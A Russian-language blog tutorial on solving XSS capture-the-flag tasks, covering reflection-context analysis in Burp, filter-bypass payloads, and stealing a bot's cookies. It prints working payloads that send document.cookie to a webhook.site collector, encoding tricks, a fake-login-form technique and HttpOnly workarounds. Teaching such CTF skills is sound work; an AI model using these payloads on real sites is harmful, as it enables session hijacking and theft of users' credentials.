Главная / Блог / XSS CTF: от внедрения скрипта до угона cookie через Reflected и Stored уязвимости

13 мин.00

XSS CTF: от внедрения скрипта до угона cookie через Reflected и Stored уязвимости

XSS CTF: от внедрения скрипта до угона cookie через Reflected и Stored уязвимости

На прошлом CTF-турнире задача на Stored XSS заняла у меня 12 минут: 10 — на обход фильтра, который резал <script>, и 2 — на эксфильтрацию cookie бота через <img> с onerror. Команда за соседним столом потратила на тот же таск полтора часа — перебирала пейлоады вслепую, не определив контекст отражения. Между «знаю что такое Cross-Site Scripting» и «стабильно решаю XSS-таски» лежит не талант, а системный алгоритм: анализ контекста в Burp Repeater, набор bypass-техник под конкретный тип фильтрации и готовый шаблон для захвата сессии. Этот гайд — тот самый алгоритм, который я использую на CTF-площадках и при пентесте веб-приложений.

Место Cross-Site Scripting CTF в цепочке атаки

[Применимо: CTF web-категория, внешний веб-пентест, black box] Подробнее — в нашем руководстве по пентест веб-приложений.

XSS — не изолированный трюк с alert(1), а звено в цепочке. В терминах MITRE ATT&CK раскладывается так:

  1. Exploit Public-Facing Application (T1190, Initial Access) — находите точку внедрения скрипта XSS: параметр URL, поле формы, HTTP-заголовок
  2. JavaScript (T1059.007, Execution) — внедрённый код исполняется в браузере жертвы или CTF-бота
  3. Steal Web Session Cookie (T1539, Credential Access) — через document.cookie данные сессии уходят на внешний коллектор
  4. Browser Session Hijacking (T1185, Collection) — подставляете украденную cookie и действуете от имени жертвы
  5. Exfiltration Over C2 Channel (T1041, Exfiltration) — данные уходят на контролируемый сервер

Для обхода фильтров применяется Command Obfuscation (T1027.010) — encoding, смешанный регистр, вложенные теги.

В типичной CTF-задаче задействованы шаги 1–3: нашёл JavaScript инъекцию, обошёл фильтр, угнал cookie бота — получил флаг. Но понимание полной цепочки помогает адаптироваться. Если cookie помечен HttpOnly и document.cookie не отдаёт ничего — переключаетесь на CSRF (заставляете бота выполнить действие от своего имени) или фишинг через подмену формы — Web Portal Capture (T1056.003).

По классификации OWASP Top 10 (2021), XSS попадает в категорию A03:2021 — Injection: приложение уязвимо, когда пользовательские данные попадают в HTML-ответ без валидации и экранирования. Одна из самых распространённых веб-уязвимостей CTF и одновременно самая частая категория находок на реальных пентестах веб-приложений.

Бизнес-логика атаки для CTF: бот «просматривает» страницу с внедрённым скриптом. Скрипт отправляет его cookie на ваш сервер. В cookie лежит флаг, или сессия даёт доступ к эндпоинту с флагом. Всё. Остальное — техника и терпение.

Reflected XSS эксплуатация: от параметра до захвата сессии

Поиск точки внедрения через Burp Suite

Требования к окружению: - Burp Suite Community Edition (бесплатный, для CTF хватает за глаза) или Pro — последняя версия - Firefox с проксированием на 127.0.0.1:8080 - RAM: 4 ГБ минимум (Burp + браузер + CTF-платформа) - Внешний коллектор: webhook.site (бесплатно, без регистрации) или Burp Collaborator (только Pro) - Для локальных тасков: Python 3.x для python3 -m http.server или netcat

Работает если: сервер отражает пользовательский ввод в HTML-ответе без экранирования или с неполной фильтрацией. Не работает если: применяется htmlspecialchars() с флагом ENT_QUOTES и указанной кодировкой на серверной стороне, включён строгий CSP с script-src 'self' без unsafe-inline.

Reflected XSS возникает, когда сервер берёт значение из GET/POST-параметра и вставляет его в HTML-ответ «как есть». В CTF это чаще всего параметр поиска, имя пользователя в приветствии или значение на странице ошибки 404.

Алгоритм поиска в Burp Repeater:

  1. Перехватите запрос к целевой странице через Proxy → HTTP history
  2. Отправьте его в Repeater — Ctrl+R
  3. В каждый параметр подставьте уникальный маркер — строку xsstest7749 без спецсимволов. Уникальность нужна, чтобы не было ложных совпадений с контентом страницы
  4. Send → в Response ищите маркер через Ctrl+F
  5. Маркер найден — определите HTML-контекст: внутри тега <div>маркер</div>, в атрибуте <input value="маркер">, или в JavaScript-блоке var x = 'маркер'
  6. Контекст диктует пейлоад. Это ключевой момент, который экономит часы на перебор

Проверяйте не только GET/POST-параметры, но и заголовки. По данным hackviser.com, заголовки User-Agent, Referer и X-Forwarded-For тоже могут отражаться в ответе — на страницах ошибок или в панелях аналитики. В Burp Repeater подставьте маркер в каждый заголовок и проверьте ответ.

XSS payload примеры под каждый контекст

Один и тот же пейлоад <script>alert(1)</script> сработает в одном контексте и окажется бесполезен в другом. Три базовых сценария, которые покрывают 90% CTF-тасков на Reflected XSS:

Контекст 1 — внутри HTML-тега. Маркер отразился как <div>xsstest7749</div>. Работает прямое внедрение: <img src=x onerror=alert(1)> или <script>alert(1)</script>. Браузер распарсит новый тег и выполнит JavaScript.

Контекст 2 — внутри атрибута. Маркер в <input value="xsstest7749">. Нужно закрыть атрибут и тег: "><img src=x onerror=alert(1)>. Одинарные кавычки? '><img src=x onerror=alert(1)>. Есть вариант без закрытия тега: " autofocus onfocus="alert(1) — добавляет событийный обработчик в существующий элемент. Приём пригодится, когда фильтр блокирует символ >.

Контекст 3 — внутри <script>-блока. Маркер в var name = 'xsstest7749';. HTML-теги не нужны — достаточно закрыть строку и дописать JS: ';alert(1);//. Двойной слэш комментирует остаток строки, чтобы не сломать синтаксис. Строка в двойных кавычках — ";alert(1);//.

В Burp Repeater проверяется за секунды: подставил пейлоад в параметр → Send → в Response смотрите, не заэкранировались ли угловые скобки в &lt; и &gt;. Скобки на месте — инъекция работает.

Для Reflected XSS в CTF финальный шаг — сформировать URL с пейлоадом и скормить его боту через форму «Report URL» или «Send link to admin». Бот откроет URL, скрипт сработает, cookie утечёт на коллектор.

Внедрение через форму и ожидание CTF-бота

Работает если: поле ввода не фильтрует HTML/JS на стороне сервера, результат сохраняется в базе и отображается другим пользователям при просмотре страницы. Не работает если: сервер применяет output encoding при рендеринге, CSP блокирует inline-скрипты, cookie помечен HttpOnly.

Stored XSS атака — пейлоад сохраняется на сервере и срабатывает при каждом просмотре страницы. В CTF типичный сценарий: форма комментариев, гостевая книга, чат или профиль. CTF-бот периодически «просматривает» все записи. Загрузил страницу с вашим пейлоадом — JavaScript исполнился в его браузере с его cookie.

По методологии PortSwigger (лаба «Exploiting cross-site scripting to steal cookies»), Stored XSS через комментарии эксплуатируется в три шага: вы отправляете комментарий с пейлоадом, который вызывает fetch() с document.cookie в теле запроса на внешний сервер. Каждый посетитель страницы (включая бота с привилегированной сессией) непроизвольно отправляет свои cookie на ваш коллектор.

В отличие от Reflected XSS, где нужно «подсунуть» URL жертве, Stored XSS работает пассивно: внедрили пейлоад — и ждёте. В CTF бот обычно проверяет страницу раз в 10–60 секунд. Терпение.

Настройка коллектора для document.cookie кражи

Три варианта приёмника данных, от простого к продвинутому:

webhook.site — бесплатный, без регистрации. Заходите на webhook.site, получаете уникальный URL вида https://webhook.site/ваш-uuid. Любой запрос к нему фиксируется с полным телом и заголовками. Для CTF — оптимально: работает из любого браузера, VPS не нужен.

Burp Collaborator (только Burp Pro). Вкладка Collaborator → Copy to clipboard. Получаете поддомен xxx.burpcollaborator.net. Плюс — интеграция с Burp: украденные данные появляются в той же IDE, где вы работаете. По документации PortSwigger, именно этот метод рекомендуется для их лаб.

Собственный сервер. python3 -m http.server 8888 или nc -nlvp 80 на VPS с белым IP. Cookie придёт в GET-параметре или в теле POST-запроса. Для CTF избыточно, но на реальных пентестах бывает нужен полный контроль над логированием.

Ключевой пейлоад для угона cookie через Stored XSS:

<script>
fetch('https://webhook.site/ваш-uuid', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
})
</script>

Параметр mode: 'no-cors' — критически важен. Без него браузер заблокирует кросс-доменный POST из-за Same-Origin Policy. С no-cors запрос уйдёт, хотя ответ будет недоступен скрипту — но для эксфильтрации ответ и не нужен.

После получения cookie на коллекторе: откройте Burp Repeater → возьмите запрос к целевому сайту → замените значение заголовка Cookie на украденное → отправьте запрос к /my-account или панели администратора. Cookie валиден — вы вошли как жертва. В CTF на этой странице обычно лежит флаг.

Если cookie помечен флагом HttpOnly, JavaScript не имеет к нему доступа — защита на уровне браузера. В CTF такое встречается в задачах уровня medium и выше. Три обходных пути:

CSRF через XSS. Вместо кражи cookie заставьте бота выполнить действие напрямую. Внедрите скрипт, который делает fetch('/api/flag'), получает ответ и пересылает его на коллектор. Бот выполнит запрос со своей сессией — ответ с флагом уйдёт к вам.

Рефлексия через API. Если приложение имеет эндпоинт типа /api/user/profile, который возвращает данные профиля — запросите его через XSS-пейлоад и перешлите ответ. По подходу, описанному на armur.ai, цепочка выглядит так: fetch('/api/user/profile').then(r=>r.json()).then(data=>...).

Фишинг формой (T1056.003). Через document.write() внедряете поддельную форму логина. Жертва вводит credentials — они уходят на ваш сервер. В CTF работает, если бот умеет «вводить данные», но встречается реже.

Обход фильтров XSS: decision tree для CTF-задач

Большинство CTF-тасков на XSS — это не «вставь <script>alert(1)</script>», а «обойди фильтр и вставь». Фильтры бывают серверные (PHP str_replace, Python sanitizers) и клиентские (WAF-правила, JavaScript-валидация). Неполная фильтрация — основная причина, по которой injection-уязвимости держат первенство в OWASP Top 10.

Фильтрация тегов: вложенные конструкции и альтернативные теги

Шаг 1: определите, что именно фильтруется. Отправьте через Burp Repeater тестовую строку '":;<>/\[]<script><h1> и сравните Response с отправленным. Четыре возможных результата:

Всё на месте — фильтров нет, берите стандартный пейлоад. Исчез только <script> — фильтр ищет конкретный тег по имени. Исчезли и <script>, и <h1> — фильтр удаляет всё, что похоже на HTML-тег. Символы < и > превратились в &lt; и &gt; — применяется HTML-encoding, как описано в документации PHP по htmlspecialchars. Последний случай — самый тяжёлый: если encoding применён корректно (с флагом ENT_QUOTES и кодировкой UTF-8), обойти его через внедрение тегов практически невозможно, и нужно искать другой вектор.

Шаг 2: подбирайте bypass по результату.

Фильтр удаляет <script> однократно. Классика — вложенный тег: <scr<script>ipt>alert(1)</scr</script>ipt>. Фильтр удаляет внутренний <script> — остаётся рабочий <script>alert(1)</script>. Трюк документирован ещё в курсе «Молодого CTF бойца» на cybber.ru и до сих пор работает в задачах начального уровня.

Фильтр удаляет все известные теги. Переходите к тегам, которых может не быть в чёрном списке: <svg/onload=alert(1)> — всего 23 символа, самый компактный XSS payload. Другие варианты: <details/open/ontoggle=alert(1)>, <body/onload=alert(1)>, <marquee onstart=alert(1)>. По данным hackviser.com, альтернативных тегов с событийными обработчиками — десятки. Вероятность, что все заблокированы, мала.

Фильтр регистрочувствительный. Смешанный регистр проходит: <ScRiPt>alert(1)</ScRiPt>, <IMG SRC=x onerror=alert(1)>. HTML нечувствителен к регистру тегов — браузер обработает и <SCRIPT>, и <script> одинаково.

Encoding и обфускация XSS payload

Когда стандартные пейлоады XSS не проходят, encoding — следующий уровень.

Двойное URL-кодирование. Если сервер декодирует параметры дважды (веб-сервер + приложение), а фильтр стоит между первым и вторым decode: %253Cscript%253E → после первого декода %3Cscript%3E → после второго <script>. Фильтр видит закодированную версию и пропускает. По данным cybber.ru, приём работает в bWAPP и аналогичных учебных платформах.

HTML-entities в атрибутах. Браузер декодирует HTML-entities перед исполнением JavaScript внутри атрибутов: <img src=x onerror="&#97;lert(1)"> — entity &#97; превращается в символ a. Полезно, когда фильтр ищет строку alert в исходном тексте.

JavaScript Unicode escape. Внутри <script>-блока: \u0061\u006C\u0065\u0072\u0074(1) — это alert(1) в Unicode-нотации. Движок JavaScript выполнит корректно.

String.fromCharCode. Обходит фильтрацию строковых литералов: alert(String.fromCharCode(88,83,83)) вместо alert('XSS'). В CTF полезно, когда фильтруются кавычки.

base64 через eval(atob()): eval(atob('YWxlcnQoMSk=')) эквивалентно alert(1). Работает, если eval не заблокирован.

Сводная таблица bypass-техник:

Что фильтруется Bypass-техника Пример XSS payload
Тег <script> Альтернативный тег <svg/onload=alert(1)>
Все теги однократно Вложенный тег <scr<script>ipt>alert(1)</script>
Символы < и > Событие в атрибуте " onfocus="alert(1)" autofocus="
Слово alert Альтернативная функция confirm(1) или prompt(1)
Круглые скобки () Template literals alert`1`
Регистр Смешанный регистр <ScRiPt>alert(1)</ScRiPt>
Одинарный decode Двойное URL-кодирование %253Cscript%253E
Кавычки String.fromCharCode String.fromCharCode(88,83,83)

Ограничения XSS-техник: когда они не работают

Content Security Policy (CSP). Строгий CSP с script-src 'self' или script-src 'nonce-XXX' блокирует inline-скрипты. В CTF обязательно проверяйте заголовок Content-Security-Policy в ответе через Burp. CSP есть — ищите JSONP-эндпоинты на том же домене, разрешённые источники скриптов или мисконфигурации (unsafe-eval, unsafe-inline). CSP — самая эффективная защита от XSS, и грамотная настройка закрывает большинство векторов.

Sanitization-библиотеки. DOMPurify (JavaScript), Bleach (Python) — серьёзные библиотеки, которые парсят HTML в DOM-дерево и удаляют опасные элементы. Обойти актуальную версию DOMPurify — задача уровня 0-day. В CTF наличие DOMPurify обычно означает «ищи другой вектор» или «ищи устаревшую версию библиотеки с известным CVE».

Современные фреймворки. React экранирует JSX-выражения по умолчанию, Vue — содержимое шаблонов. XSS в них возникает через dangerouslySetInnerHTML (React) или v-html (Vue). Видите эти конструкции в исходном коде таска — это ваша точка входа. Без них — XSS в рамках фреймворка практически невозможен.

WAF (Web Application Firewall). ModSecurity с OWASP CRS, Cloudflare WAF — на реальных пентестах серьёзное препятствие. В CTF WAF встречается нечасто, но когда есть — обычно обходится через encoding, нестандартные теги или разбивку пейлоада. На реальном внешнем пентесте WAF-обход — отдельная методология, и парой трюков тут не обойтись.

Server-Side XSS. Отдельная категория, описанная в задаче «XSS - Server Side» на root-me.org (HackDay 2023 CTF). Пейлоад исполняет не браузер пользователя, а серверный компонент — движок генерации PDF (wkhtmltopdf, PDFKit). Тут работает не document.cookie, а чтение файлов через <iframe src=file:///flag.txt> или XMLHttpRequest к локальным ресурсам. Если в CTF-задаче генерируется PDF — проверяйте Server-Side XSS как приоритетный вектор.

Полный сценарий: от обнаружения до флага

Сводный алгоритм для типичной CTF-задачи на XSS с угоном cookie:

  1. Откройте приложение через браузер с проксированием через Burp Suite
  2. Найдите все точки ввода: формы комментариев, профиль, поиск, заголовки — всё, куда можно отправить текст
  3. Вставьте маркер xsstest7749 в каждое поле и проверьте, где он отображается
  4. Определите HTML-контекст отражения через View Source или Response в Burp
  5. Проверьте наличие фильтров: отправьте '":;<>[]<script><h1> и сравните вход с выходом
  6. Подберите пейлоад по decision tree — начните с <script>alert(1)</script>, при неудаче переходите к <svg/onload=alert(1)> и далее по таблице
  7. Подготовьте коллектор: откройте webhook.site, скопируйте URL
  8. Замените alert(1) на эксфильтрацию: fetch() с document.cookie в теге, соответствующем контексту
  9. Отправьте: через форму (Stored) или сформируйте URL и передайте боту (Reflected)
  10. Проверьте коллектор — cookie бота появится в логах запросов. Подставьте через Burp и заберите флаг

Если <script> фильтруется, альтернатива без этого тега:

<img src=x onerror="fetch('https://webhook.site/uuid',
{method:'POST',mode:'no-cors',body:document.cookie})">

Тот же результат через обработчик onerror тега <img> — срабатывает, когда браузер не может загрузить изображение из несуществующего src=x. Пейлоад проходит фильтры, которые блокируют только тег <script>, и покрывает большинство задач среднего уровня.

Для задач, где фильтруется и onerror, и onload — пробуйте менее распространённые обработчики: <details open ontoggle="...">, <input autofocus onfocus="...">, <body onpageshow="...">. В крайнем случае — комбинируйте encoding с альтернативными тегами: <svg/onload=eval(atob('base64_пейлоад'))>.

Большинство CTF-игроков подходят к XSS-таскам методом «вставлю alert(1) и посмотрю что будет». На задачах для новичков прокатывает, но на соревнованиях уровня medium и выше вы тратите время на перебор пейлоадов вместо 30 секунд на анализ контекста. За два года в web-категории CTF я убедился: 80% времени на XSS-задачу уходит на понимание того, как именно фильтруется ввод и в каком контексте он отражается. Оставшиеся 20% — подставить правильный пейлоад и забрать флаг.

Вторая типичная ошибка — зацикливание на alert(). В CTF alert(1) нужен ровно один раз — убедиться, что инъекция работает. Дальше нужен пейлоад для эксфильтрации, и он должен быть готов заранее: формула с fetch() и document.cookie, коллектор открыт, URL скопирован. Я видел ребят, которые тратили 20 минут на поиск bypass, потом ещё 15 — на гугление «как угнать cookie через XSS». Подготовка шаблонов пейлоадов до начала CTF — базовая гигиена, которая экономит десятки минут на каждом таске.

И ещё одна вещь, которую мало кто проговаривает вслух: XSS уязвимость на CTF и XSS на реальном пентесте — разные дисциплины. В CTF есть гарантированный бот, который откроет страницу. На реальном проекте нужно ещё убедить жертву перейти по ссылке (Reflected) или дождаться, когда администратор зайдёт на страницу (Stored). Навык решения CTF-тасков переносится в пентест не напрямую, а через понимание механики: контексты внедрения, типы фильтров, encoding. Если хочешь не просто writeup, а пройти всю атаку самому с нарастающей сложностью — на WAPT лаба на каждый такой кейс плюс ментор при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...